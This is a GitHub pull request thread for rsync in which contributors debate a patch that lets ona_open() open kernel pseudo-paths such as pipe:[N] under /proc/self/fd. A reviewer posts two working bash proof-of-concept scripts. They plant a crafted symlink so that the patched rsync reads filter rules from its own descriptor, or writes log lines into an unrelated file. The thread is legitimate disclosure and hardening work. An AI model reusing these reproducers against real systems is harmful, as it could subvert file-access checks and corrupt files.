Skip to content

Fix ENOENT when resolving kernel pseudo-paths in ona_open - #1054

Open
seks99x wants to merge 1 commit into
RsyncProject:masterfrom
seks99x:seks99x-fd-link-fix
Open

Fix ENOENT when resolving kernel pseudo-paths in ona_open#1054
seks99x wants to merge 1 commit into
RsyncProject:masterfrom
seks99x:seks99x-fd-link-fix

Conversation

@seks99x

@seks99x seks99x commented Aug 14, 2026

Copy link
Copy Markdown
Member

Fixes #1053

What was added:

This PR patches ona_open() to properly handle Linux kernel pseudo-paths (pipes, sockets, etc.) generated by Bash process substitution without triggering an ENOENT error.
String-based detection: After readlinkat() successfully resolves a trusted symlink (like /dev/fd/63), the code now checks if the target is a kernel pseudo-path (pipe:[, socket:[, or anon_inode:[).
Enforcing Leaf Nodes: Added an if (!is_last) check to immediately return ENOTDIR if an operator attempts to traverse a pipe or socket like a directory.
Dropping O_NOFOLLOW: If the pseudo-path passes the above security checks, the function calls openat(dfd, comp, flags & ~O_NOFOLLOW, mode). By dropping the O_NOFOLLOW flag on the final component, we allow the kernel to hook the process into the memory object without treating it as a physical file on disk.

@seks99x seks99x added the run-ci label Aug 14, 2026
Comment thread syscall.c Outdated
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 2 times, most recently from 12f8181 to f220a9e Compare August 14, 2026 09:10
@seks99x

seks99x commented Aug 14, 2026

Copy link
Copy Markdown
Member Author

Regarding the CI: I added pseudo-paths to macos.txt and cygwin.txt since they legitimately lack Linux's native /dev/fd/ process substitution. The Ubuntu runners run and pass the test perfectly.

However, the AlmaLinux runner is still failing the skip oracle (likely because the minimal almalinux:8 container is missing the bash package). I think it should be added through .github/workflows/almalinux-8-build.yml but I can't push any changes to it.

@steadytao steadytao removed the run-ci label Aug 15, 2026
@samueloph

Copy link
Copy Markdown
Member

@seks99x I've analyzed this through and agent and it's flagging a security regression, I don't want to post all the AI blob because I'm not familiar enough with the rsync inner-workings (and not enough time), but these POCs look sound.

I wanted to post this before I get the time to investigate it deeper because I want to avoid a possible security regression.

1. The fd number comes from the symlink's filename, and the only validation is st_ino equality against rsync's own fd table - nothing confirms the path is actually /proc/self/fd. The claim is that a symlink named 3 whose target text is pipe:[N], anywhere on the filesystem, resolves to rsync's own fd 3:

#!/bin/bash
# An ordinary symlink - nothing to do with /proc or /dev/fd - resolving to a
# descriptor rsync already holds open.   Usage: bash repro-a.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-a.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
echo hello > "$lab/src/drop.txt"

# Give rsync an inherited fd 3 holding the text "drop.txt".  This stands in for
# any descriptor the rsync process happens to have open.
exec 3< <(printf 'drop.txt\n')

# The inode the kernel reports for that pipe - the number that appears inside
# the "pipe:[...]" string in /proc/self/fd, and the only thing compared.
ino=$(stat -L -c %i /proc/self/fd/3)

# Plant an ordinary symlink in an ordinary directory.  Two things matter:
#   * its NAME is "3"   -> atoi(comp), then fstat(3) on *rsync's own* fd table
#   * its TARGET is text, not a path -> matches the "pipe:[" prefix test
# The link is dangling.  It is owned by us, i.e. by the euid rsync runs as,
# which is precisely the case ona_open() follows by design.
ln -sfn "pipe:[$ino]" "$lab/plant/3"

echo "planted: $lab/plant/3 -> $(readlink "$lab/plant/3")"
"$RSYNC" -a --exclude-from="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "exit status: $?"
echo "transferred: $(ls "$lab/dest" | tr '\n' ' ')"
3.5.0:   failed to open exclude file .../plant/3: No such file or directory (2)
         exit status: 11, transferred: (nothing)        <-- dangling link, correct

patched: exit status: 0, transferred: keep.txt          <-- filter rules were read
                                                            from rsync's own fd 3

2. dup()/F_DUPFD_CLOEXEC returns the original description, so flags/mode are dropped - the caller gets the original access mode and a shared offset. Claude pointed at batch.c (O_WRONLY|O_CREAT|O_TRUNC), connection.c (O_RDWR|O_CREAT, daemon lock) and log.c (O_APPEND) as callers passing write flags. Its reproducer for the write side:

#!/bin/bash
# The same mechanism reaching a WRITE: --log-file lands in a file the supplied
# path never names.        Usage: bash repro-b.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-b.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
printf 'ORIGINAL-LINE-1\nORIGINAL-LINE-2\n' > "$lab/victim"

# fd 3 = a writable descriptor on the victim.  Note this is a REGULAR FILE, not
# a pipe: S_ISFIFO/S_ISSOCK is never checked and st_dev is never compared, so
# only the inode number has to line up.
exec 3<> "$lab/victim"
ino=$(stat -L -c %i /proc/self/fd/3)
ln -sfn "pipe:[$ino]" "$lab/plant/3"

# --log-file asks open_no_attacker_symlinks() for O_WRONLY|O_APPEND|O_CREAT.
# dup() ignores flags and mode and returns the ORIGINAL description.
"$RSYNC" -a --log-file="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "--- $lab/victim after the run ---"; cat "$lab/victim"
3.5.0:   failed to open log-file ... No such file or directory
         victim: ORIGINAL-LINE-1 / ORIGINAL-LINE-2, untouched

patched: victim: ORIGINAL-LINE-1
                 ORIGINAL-LINE-2
                 2026/08/14 22:30:58 [425595] building file list
                 2026/08/14 22:30:58 [425595] >f+++++++++ keep.txt

It also thought the branch returns without the abspath_outside_confinement() / out_abs handling the rest of the walk does, and that the anon_inode:[ arm can't match (real targets are anon_inode:[eventpoll] - a name, not an inode number, so strtoull() yields 0).

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

@samueloph thank you so much for the review.
Actually both has nothing to do with the symlink issue, rsync follow trusted UIDs symlink by design (symlinks owned by the same process UID) I tried to change the ownership of the symlink it failed with ELOOP. The only possible ( if im not missing something) issue could happen here is attacker would control what fd to return, which on my mind i don’t find something critical regarding that. attackers most of the time have only control over actual file paths rather than fd.
If you have other thoughts also i would appreciate it.

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

The anon_inode issue is real yeah thank you for pointing this.
This would require different handling other than the rest, i assumed they all would produce a long number.
Will push fixes for this tomorrow.

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

Im thinking about handling the parent path that it is really coming from /dev/fd for example but im afraid to break a legit case which could come from another path that im not thinking of. From what im seeing UNIX like environments literally have many cases we can’t think of it easily.

@steadytao @samueloph do you think it would be better to handle parent paths to make sure its getting from /proc/self or /dev/fd?

From my own perspective for this to have a proper attack , the privileged process need to be opening a sensitive/privileged file and before calling close() the attacker can plant a symlink naming it as the fd number which would require also a guess. I feel its sophisticated/fanciful and wont work in real world but i want your opinions too.

@steadytao

Copy link
Copy Markdown
Member

I will come back to this one 🤔

@seks99x

seks99x commented Aug 17, 2026

Copy link
Copy Markdown
Member Author

@steadytao I've rebased this PR on the latest master. I also updated the logic to use the new fd_pin_tail(), ensuring we only make exceptions for pseudo-paths that strictly fall under /proc/self/fd or /dev/fd like what we did with the symlinks exceptions. I think this keeps our exceptions handling clean and consistent.

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 2 times, most recently from f036afc to 1bb3c5b Compare August 17, 2026 19:09
Comment thread syscall.c Outdated
Comment thread syscall.c Outdated
@steadytao

Copy link
Copy Markdown
Member

Looking pretty good thus far!

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 6 times, most recently from 4bb6dc4 to 237175c Compare August 18, 2026 19:01
@seks99x

seks99x commented Aug 18, 2026

Copy link
Copy Markdown
Member Author

@steadytao Thanks for your review! My bad I didn't thought of the flags or noticed the /proc/pid case. I modified fd_pin_tail() to handle the strict process verification to avoid a lot of redundancy here. I also manually enforced the access modes and added two new python tests to make sure we are going right. Could you recheck please?

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 2 times, most recently from 903f719 to 916db38 Compare August 18, 2026 21:23
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 3 times, most recently from 7222f2d to ce157e4 Compare August 19, 2026 13:46
Comment thread syscall.c Outdated
}
/* Safely duplicate the descriptor, immune to TOCTOU symlink races */
#ifdef F_DUPFD_CLOEXEC
retfd = fcntl(fd_num, F_DUPFD_CLOEXEC, 0);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This avoids silently inheriting O_NONBLOCK, but returning EINVAL still doesn’t match open(path, flags, mode) here. On Linux, reopening /proc/self/fd/N with O_RDONLY creates a blocking file description. In a delayed-writer exclude-file test, current head exits 11, while a local openat(dfd, comp, flags, mode) version waits for and applies the rule.

The updated pseudo-flags test also leaves the write end open and expects rejection, so it would time out with blocking behavior. Could we reopen the already verified numeric entry instead of duplicating it?

@seks99x seks99x Aug 19, 2026

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

tracking down all these edge cases is getting a bit tiring.

When I originally opened this PR, I actually started by reopening the descriptor with ⁠openat()⁠ and O_NOFOLLOW However, because we weren't strictly validating the parent base path at the time, using a relative ⁠openat(dfd, comp, ...)⁠ introduced a severe TOCTOU directory traversal vulnerability.
Even since we now check that the path contains a digit in the last component and the absolute path starting with /proc/self/fd or /dev/fd , this still could pose a risk also. If an attacker passed a path like ⁠/proc/self/fd/3/test/4⁠ (where FD 3 points to an attacker-controlled directory like ⁠/tmp/⁠), they could race the ⁠openat⁠ call and swap the ⁠4⁠ symlink to an arbitrary file right after our ⁠readlink⁠ validation passed.

We could hardcode the path:

Current Prefix Validation: The code now explicitly enforces that the ⁠abspath⁠ genuinely started with ⁠/proc/self/fd/⁠ or ⁠/dev/fd/⁠.

Absolute Path hardcoding: Instead of using a relative ⁠openat()⁠ with the abspath or target value we extract the validated integer comp and dynamically construct a hardcoded absolute path (⁠/proc/self/fd/%d⁠) %d since we already validated it correctly ( last component, is digit and in our process ). Then calling open() on this hardcoded path should be safe i guess.

Hopefully, this finally puts these boundary issues to rest!

@steadytao what do you think? I feel handling this perfectly using dup() is getting complex/dangerous.

I’ll push updates tomorrow.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reopening is the right approach. The TOCTOU example does not apply if this remains restricted to an exact numeric final component beneath the already verified and pinned /proc/self/fd directory; /proc/self/fd/3/test/4 must be rejected before this branch because 3 is not the leaf. I would use openat(dfd, comp, (flags & ~O_NOFOLLOW) | O_CLOEXEC, mode) rather than rebuilding an absolute path so the verified dirfd remains the authority boundary and the kernel applies the callers actual open() flags. If reopening a socket or anonymous inode fails, let it fail rather than falling back to dup(). We also still need to refuse anonymous pseudo-objects while --confine-root is active because they cannot be proven to reside beneath that root.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Totally better yes. I've pushed it

Comment thread syscall.c Outdated
retfd = dup(fd_num);
#endif
saved_errno = (retfd >= 0) ? 0 : errno;
goto out;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This return still happens before the --confine-root check below. I reproduced it with a per-directory merge that names an inherited /proc/self/fd/N pipe: current head reads the pipe and applies its rule even though the anonymous object has no target beneath the confined root.

Could we apply the confinement decision before returning and add an in-band merge regression? A command-line --exclude-from test is opened too early to exercise this boundary.

@seks99x seks99x closed this Aug 19, 2026
@seks99x seks99x reopened this Aug 19, 2026
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 5 times, most recently from 76c8d68 to 286ad3c Compare August 20, 2026 15:17
@seks99x seks99x closed this Aug 20, 2026
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 286ad3c to 7c20b07 Compare August 20, 2026 15:35
@seks99x seks99x reopened this Aug 20, 2026
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 8 times, most recently from cccc930 to 64f9790 Compare August 20, 2026 17:48
@jiri-belka

Copy link
Copy Markdown

A client reported this regression so I ran AI review on this PR:


Reviewed this against master @7c20b077. Three observations, in descending order of
how much I think they matter. I want to be upfront that I could not construct an
actual privilege-boundary crossing for any of them — they're soundness/consistency
issues in the guard rather than a vulnerability report.

1. is_fd_dir rests on an abspath that isn't cwd-anchored

The new branch establishes its central invariant — "the resolved parent is exactly an
fd directory" — from the tracked abspath string:

const char *ptail = fd_pin_tail(abspath);
int is_fd_dir = (ptail != NULL && *ptail == '\0');

But abspath is only seeded from a real location in two cases (syscall.c:322-331):

char abspath[MAXPATHLEN];
abspath[0] = '\0';
if (am_daemon && module_dir && module_dir[0] == '/')
        strlcpy(abspath, module_dir, sizeof abspath);
else if (confine_root) {
        ...
        if (!getcwd(abspath, sizeof abspath))
                return -1;
}

Outside those two cases it stays "" and abspath_step() then builds it up as if
the walk had started at /
. For an absolute operator path that's accurate. For a
relative one it is not — it's a synthetic path missing the cwd prefix.

The branch only reaches the openat() when confine_root is NULL (otherwise it
refuses), and am_daemon seeds abspath from module_dir, so the unanchored case —
non-daemon, no --confine-root, relative path — is exactly one of the configurations
where this branch is live. There, fd_pin_tail(abspath) == "" can be satisfied by a
directory that merely looks like proc/<digits>/fd relative to cwd, and does not
establish that the parent is really a kernel fd directory.

The trusted-owner check on the symlink (st_uid must be 0 or the euid) is what keeps
this from being reachable by a third party, so I don't think it's exploitable as it
stands. But the comment says the exception is honoured "only when the RESOLVED parent
is exactly an fd directory", and in this configuration that isn't quite what's being
tested. Anchoring it to the descriptor you already hold — e.g. fstat(dfd) compared
against a stat("/proc/self/fd") — would make the invariant true independently of the
tracker.

2. confine_root skips daemon confinement

The refusal tests confine_root directly. Everywhere else in the file confinement
goes through confinement_root() (syscall.c:136):

static const char *confinement_root(unsigned int *lenp)
{
	if (am_daemon) {
		*lenp = module_dirlen;
		return module_dir;
	}
	*lenp = confine_rootlen;
	return confine_root;
}

so in daemon mode the confining root is module_dir and confine_root is always
NULL — the refusal never fires for a daemon.

In practice I think this is currently harmless: where operator_path_resolve is set
(daemon --files-from=:LIST in options.c, filter merges in exclude.c) the walk is
already refused at the /proc component by abspath_outside_confinement() before
reaching this branch, and where it isn't set (log file, lock file, motd, early-input,
secrets, config) that function returns 0 for ordinary out-of-module paths too — so
adding a check would make pseudo-paths stricter than real paths for those same
opens. So this may well be intentional. Flagging it mainly because "test
confine_root" and "test the confinement root" aren't the same thing here, and the
difference is invisible at the call site.

3. No post-open verification of what was actually opened

The decision to strip O_NOFOLLOW is made from the readlinkat() snapshot, and
/proc/<pid>/fd/N is live kernel state — N can be closed and the number reused before
the openat(), after which the open follows whatever N names at that instant, with no
further check.

An fstat() on the returned fd, confirming S_ISFIFO/S_ISSOCK against the kind the
target advertised, would close that window — and would also catch the case in (1),
since a planted regular file named pipe:[...] wouldn't pass. Something like:

retfd = openat(dfd, comp, (flags & ~O_NOFOLLOW) | O_CLOEXEC, mode);
if (retfd >= 0) {
        STRUCT_STAT pst;
        if (fstat(retfd, &pst) < 0 || !(S_ISFIFO(pst.st_mode) || S_ISSOCK(pst.st_mode))) {
                close(retfd);
                retfd = -1;
                saved_errno = ENOENT;
                goto out;
        }
}

One consequence worth deciding explicitly: anon_inode: can't be verified this way —
it has no dependable st_mode. Since it isn't produced by shell process substitution
and can't serve as a filter or files-from source, dropping it from the accepted set
would narrow the exception to what the regression actually needs, and would address
the earlier review comments about the anon_inode: format.

@seks99x

seks99x commented Aug 24, 2026

Copy link
Copy Markdown
Member Author

@jiri-belka Regarding observation 1 on the unanchored abspath: doesn't appear to be reachable because fd_pin_tail() strictly enforces a leading slash via strncmp(p, "/proc/", 6) or /dev/fd/. If abspath is seeded from a relative path, it will not begin with /, so fd_pin_tail() will immediately return NULL and refuse the traversal. The abspath string tracker does not artificially forge an absolute leading slash for relative inputs so the spoofing scenario shouldn't be possible.

Regarding observation 2: : I believe the current logic holds up because as the AI said: the path will be refused already initially from /proc.

Regarding observation 3: I don't see a realistic threat model that justifies adding this level of strict hardening. For this race condition to be exploited, the path must either be supplied directly by the user or reached via a planted symlink. Both cases fall completely outside our threat model:
If the user supplies the /proc//... path directly: The user is explicitly pointing rsync to a process they control or trust. If they execute a TOCTOU attack to swap the FD while rsync is running, they are just attacking themselves using privileges they already possess.
If an attacker plants a symlink: Rsync already strictly refuses to follow symlinks unless they are owned by root or the trusted_uid. An external attacker simply cannot plant a malicious symlink that rsync will agree to follow. The only paths where we suspend this ownership check are /proc/self/ and /dev/fd/, and those intrinsically point to our own isolated process file descriptors, which an external attacker cannot manipulate anyway.Furthermore, remote clients are blocked by the am_daemon check.

@steadytao

Copy link
Copy Markdown
Member

Regarding observation 1 on the unanchored abspath: doesn't appear to be reachable because fd_pin_tail() strictly enforces a leading slash via strncmp(p, "/proc/", 6) or /dev/fd/. If abspath is seeded from a relative path, it will not begin with /, so fd_pin_tail() will immediately return NULL and refuse the traversal. The abspath string tracker does not artificially forge an absolute leading slash for relative inputs so the spoofing scenario shouldn't be possible.

abspath_step() inserts a leading slash when the tracker is empty so a relative proc/self/fd path can satisfy the string check. Perhaps verify the pinned parent descriptor against the real /proc/self/fd namespace and narrow the exception to the FIFO behaviour we need? Restore a read-side regression for the original issue as well.

I will resolve AlmaLinux in about ~16 hours for you as well. Very tired.

@steadytao
steadytao self-requested a review August 24, 2026 15:57
@seks99x

seks99x commented Aug 24, 2026

Copy link
Copy Markdown
Member Author

@steadytao Thanks for handling AlmaLinux. Definitely get some rest!

Regarding the abspath_step() relative path: even with the tracker prepending a slash, there is no practical exploitation here. The code already refuses pseudo-objects under remote options (am_daemon) and confine_root. Furthermore, any spoofed local symlink still falls to the strict ownership check, meaning it must be owned by root or the trusted user. It could pose a risk but it would need very fanciful setup in my POV.

That being said, to make the logic structurally perfect and completely kill the relative path issue or similar, I am going to update the check so that fd_pin_tail() must return non-NULL on both the raw path input and the abspath tracker, in addition to a hardening check that the opened fd is not a regular file or directory. This mathematically guarantees the user actually supplied an absolute /dev/fd/ or /proc/self/ or /proc/<pid/ path from the very beginning, eliminating the relative path spoofing edge-case entirely.
As for narrowing the exception to FIFOs only: we cannot do this. We actively need to support socket and anon_inode use cases. Restricting this to FIFOs would break this legitimate cases , so we need to keep the current pseudo-path whitelist.

I'll push the dual fd_pin_tail check to wrap this up.

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 64f9790 to 0d25c3f Compare August 24, 2026 17:57
Bash process substitution (e.g., `<(...)` or `>(...)`) exposes file
descriptors as symlinks under `/proc/self/fd/X` pointing to kernel
pseudo-paths such as `pipe:[12345]`. Previously, `ona_open()` would read
this target and attempt to resolve it as a literal file path on disk,
causing the operation to fail with `ENOENT` and breaking legitimate local
process substitution.

This patch safely intercepts and resolves these pseudo-paths while
maintaining strict confinement boundaries and averting TOCTOU risks:

- Detects kernel pseudo-paths (`pipe:[`, `socket:[`, `anon_inode:`)
  only when `fd_pin_tail` confirms the path resolves precisely to a
  direct child of a valid FD directory.
- Categorically rejects pseudo-path resolution if `confine_root` is
  active (yielding `ENOENT`).
- Strips `O_NOFOLLOW` for legitimate leaf pseudo-paths, allowing
  `openat()` to correctly delegate resolution.
- Reverts `fd_pin_tail` to its upstream signature, as manual PID
  validation is no longer required due to the secure `openat()` design.
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 0d25c3f to ce83ccd Compare August 24, 2026 17:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[3.5.0 regression] Rsync fails to open filter list supplied from shell process substitution

5 participants